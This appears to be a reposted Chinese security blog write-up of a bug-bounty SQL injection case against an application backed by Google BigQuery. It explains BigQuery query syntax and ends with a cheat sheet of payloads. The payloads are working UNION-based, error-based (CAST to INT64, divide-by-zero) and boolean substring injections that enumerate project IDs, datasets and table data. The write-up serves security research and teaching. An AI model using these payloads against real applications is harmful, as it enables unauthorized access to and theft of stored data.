前言
在通常的SQL注入中,我们面对的数据库为MySQL、MongoDB等等。针对不同的数据库,渗透的手法也有所差别。本文分享一个Synack.com上的特殊类SQL注入案例——【DBMS:BigQuery】
正文
Google有一个名为BigQuery的服务,我们可以通过它的云系统将其用作应用程序的数据库管理系统。尽管在大多数SQL结构方面它类似于其他数据库,但它的语法会有一些不同。
在正式开始案例前,先了解一下这个数据库。
在这个数据库中,存在两种查询机制,区别与联系如下:
1、标准模式:标准模式为目前的默认模式,大多数程序使用该模式
2、传统模式:传统模式为以前使用的旧模式,少数程序使用该模式
3、在查询开头加上 #legacySQL 和 #standardSQL 作为前缀,即可切换模式。
4、查询语法不一致
在传统SQL中,查询语法如下:
SELECT column-name FROM [project-name:dataset-name.table-name]
在标准SQL中则不同,查询语法如下:
SELECT column-name FROM project-name:dataset-name.table-name
5、由于BigQuery系统采用云技术,所以存在一个结构如下:
项目名称 -> 数据集(数据库)-> 表 -> 列 -> 数据
案例
添加单引号,返回语法错误,故存在报错注入:
也许你的想法和我一致,即启动SQLmap。
尽管SQLmap可以进行报错注入及布尔注入,但它不能很好地识别该DBMS。
那么该系统是什么?
仔细观察上图可知,From `` AS 这个字符串即可证明该DBMS为BigQuery。
现在要怎么注入?
BigQuery语法中不存在基于时间的函数如SLEEP、WAITFOR DELAY等,同时现有的报错注入Payload在此不通用。
由于该数据库支持union命令,那么就以其为切入点,通过不断利用报错回显后,设计出该Payload:
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT 'asd'),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
注入成功,回显如下:
那么下一步就是扩大攻击深度了:获取其它用户的项目名称,进而得到敏感数据。
可棘手的问题摆在眼前:
1、经测试,反引号字符(`)在应用程序后端被过滤或经过处理。
2、用户ID并非顺序排列,而是10位以上的数字,因此很难通过穷举攻击来获取用户ID。
3、INFORMATION_SCHEMA.SCHEMATA表无权访问
山穷水尽疑无路了?
通过不断尝试,我们最终发现了一个不需要`并且可以访问 INFORMATION_SCHEMA 表的数据:系统变量
设计出的Payload如下:
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
虽然得到的数据并不敏感,但足以证明它是一个有效的数据泄露POC。
当考虑获取敏感数据时,仅靠Union注入的列是无法起作用的,因为我们想要得到的是字符串,而我们注入的列只是一个整数值。
然而,在BigQuery中,类型转换问题可以引发语法错误:
dataset_name.column_name` union all select CAST(@@project_id AS INT64) ORDER BY 1 DESC#
通过使用CAST(@@project_id AS INT64)
,我们将@@project_id
从默认的字符串类型转换为INT64整数类型,产生如下报错:
可以看到,回显包含项目ID,至此,我们就能够获取数据库中的敏感数据。
涉及的语法、语句总结
1、注释:
select
1
2、注释:
select
1
/
between
those it
is
not
working/
3、获取当前用户:
select
session_user
()
4、获取项目ID:
select
@
@project_id
5、获取所有数据集名称:
select
schema_name
from
INFORMATION_SCHEMA.SCHEMATA
6、从特定项目ID和数据集获取数据:
select
*
from
project_id.dataset_name.table_name
7、限制函数:
select
schema_name
from
INFORMATION_SCHEMA.SCHEMATA
limit
1
8、基于错误的类型转换:
select
CAST
(@@project_id
AS
INT64)
9、基于错误的除零操作:
' OR if(1/(length((
select
(
'a'
)))
-1
)=
1
,
true
,
false
)
OR
'
10、基于Union的注入:UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
11、基于布尔值的注入:
' WHERE SUBSTRING((
select
column_name
from
project_id.dataset_name.table_name
limit
1
),
1
,
1
)=
'A'
#
12、使用公共数据集的示例:
SELECT
*
FROM
bigquery-
public
-data.covid19_open_data.covid19_open_data
LIMIT
1000
13、所有函数列表:
https:
/
/cloud.google.com/bigquery
/docs/reference
/standard-sql/functions
-
and
-operators
14、脚本语句:
https:
/
/cloud.google.com/bigquery
/docs/reference
/standard-sql/scripting
参考链接:https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac
原文始发于微信公众号(芳华绝代安全团队):一个基于 BigQuery 的 SQL 注入挖掘案例
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论